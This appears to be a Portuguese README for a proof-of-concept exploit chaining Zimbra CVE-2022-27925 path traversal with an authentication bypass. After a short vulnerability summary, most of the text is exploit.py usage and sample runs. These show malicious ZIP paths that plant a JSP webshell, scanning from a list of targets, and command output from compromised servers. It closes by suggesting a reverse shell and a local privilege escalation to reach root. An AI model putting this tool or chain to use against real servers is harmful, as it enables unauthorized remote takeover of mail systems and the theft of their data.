
Zimbra CVE-2022-27925 PoC
Em 10 de maio de 2022, a Zimbra lançou as versões 9.0.0 patch 24 e 8.8.15 patch 31 para corrigir múltiplas vulnerabilidades no Zimbra Collaboration Suite, incluindo CVE-2022-27924 (sobre o qual escrevemos anteriormente) e CVE-2022-27925.
Originalmente, a Zimbra classificou CVE-2022-27925 como um ataque de path traversal autenticado, onde um usuário administrador poderia escrever arquivos em qualquer diretório do sistema de arquivos como a conta Zimbra. Por ser considerado inicialmente um ataque exclusivo de administrador, a NVD atribuiu a ele uma pontuação base CVSS de 7,8. Mais tarde, a Volexity percebeu que atacantes explorando essa vulnerabilidade haviam encontrado uma forma de contornar os requisitos administrativos, e escreveu sobre isso em 10 de agosto de 2022. Esse novo bypass de autenticação recebeu um novo identificador – CVE-2022-37042.
Ao combinar a vulnerabilidade original de path traversal com o novo bypass de autenticação, atacantes podem comprometer remotamente um sistema Zimbra Collaboration Suite pela porta de administração (por padrão, 7071) anonimamente. Combinadas com uma vulnerabilidade de escalonamento de privilégio atualmente sem correção sobre a qual escrevemos recentemente e criamos um exploit, essas três vulnerabilidades levam à execução remota de comandos como usuário root em sistemas não corrigidos.
Embora os avisos públicos não mencionem, de acordo com nossa análise, o Zimbra Collaboration Suite Network Edition (a edição paga) é vulnerável, e a Open Source Edition (gratuita) não é (já que não possui o endpoint mboximport vulnerável). As versões vulneráveis são:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (e anteriores)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (e anteriores)
Essas vulnerabilidades (e outras no Zimbra) estão sendo alvo de exploração generalizada na natureza e, portanto, devem ser corrigidas ou colocadas offline o mais rápido possível. Se suspeitar que foi comprometido, a Zimbra fornece etapas para reconstruir seu servidor Zimbra Collaboration Suite do zero com o patch mais recente sem perder dados.
Fonte: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
root@root# .
Para obter root no servidor, você pode chamar um reverse shell e então usar Slaper's LPE